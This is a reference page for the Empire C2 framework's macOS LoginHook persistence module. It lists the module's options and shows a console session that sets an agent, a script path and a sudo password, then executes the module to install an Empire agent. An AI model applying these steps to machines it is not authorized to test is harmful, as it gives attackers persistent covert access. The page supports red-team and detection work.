LoginHook - Empire Module


This page contains detailed information about how to use the python/persistence/osx/loginhook Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: LoginHook
Module: python/persistence/osx/loginhook
Source code [1]: empire/server/modules/python/persistence/osx/loginhook.yaml
Source code [2]: empire/server/modules/python/persistence/osx/loginhook.py
MITRE ATT&CK: T1037
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The loginhook module installs Empire agent via LoginHook.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the loginhook module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the loginhook module:

Agent
Agent to execute module on.

LoginHookScript
Full path of the script to be executed/.
Default value: /Users/Username/Desktop/kill-me.sh.

Password
User password for sudo.

Loginhook Example Usage


Here's an example of how to use the loginhook module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/persistence/osx/loginhook

 Author       @Killswitch-GUI                          
 Background   False                                    
 Comments     https://support.apple.com/de-at/HT2420   
 Description  Installs Empire agent via LoginHook.     
 Language     python                                   
 Name         python/persistence/osx/loginhook         
 NeedsAdmin   False                                    
 OpsecSafe    False                                    
 Techniques   http://attack.mitre.org/techniques/T1037 


,Record Options---,------------------------------------,----------,-------------------------------,
| Name            | Value                              | Required | Description                   |
|-----------------|------------------------------------|----------|-------------------------------|
| Agent           |                                    | True     | Agent to execute module on.   |
|-----------------|------------------------------------|----------|-------------------------------|
| LoginHookScript | /Users/Username/Desktop/kill-me.sh | True     | Full path of the script to be |
|                 |                                    |          | executed/                     |
|-----------------|------------------------------------|----------|-------------------------------|
| Password        |                                    | True     | User password for sudo.       |
'-----------------'------------------------------------'----------'-------------------------------'

(Empire: usemodule/python/persistence/osx/loginhook) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/persistence/osx/loginhook) > set LoginHookScript /Users/Username/Desktop/kill-me.sh
[*] Set LoginHookScript to /Users/Username/Desktop/kill-me.sh
(Empire: usemodule/python/persistence/osx/loginhook) > set Password Password123
[*] Set Password to Password123
(Empire: usemodule/python/persistence/osx/loginhook) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author


References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.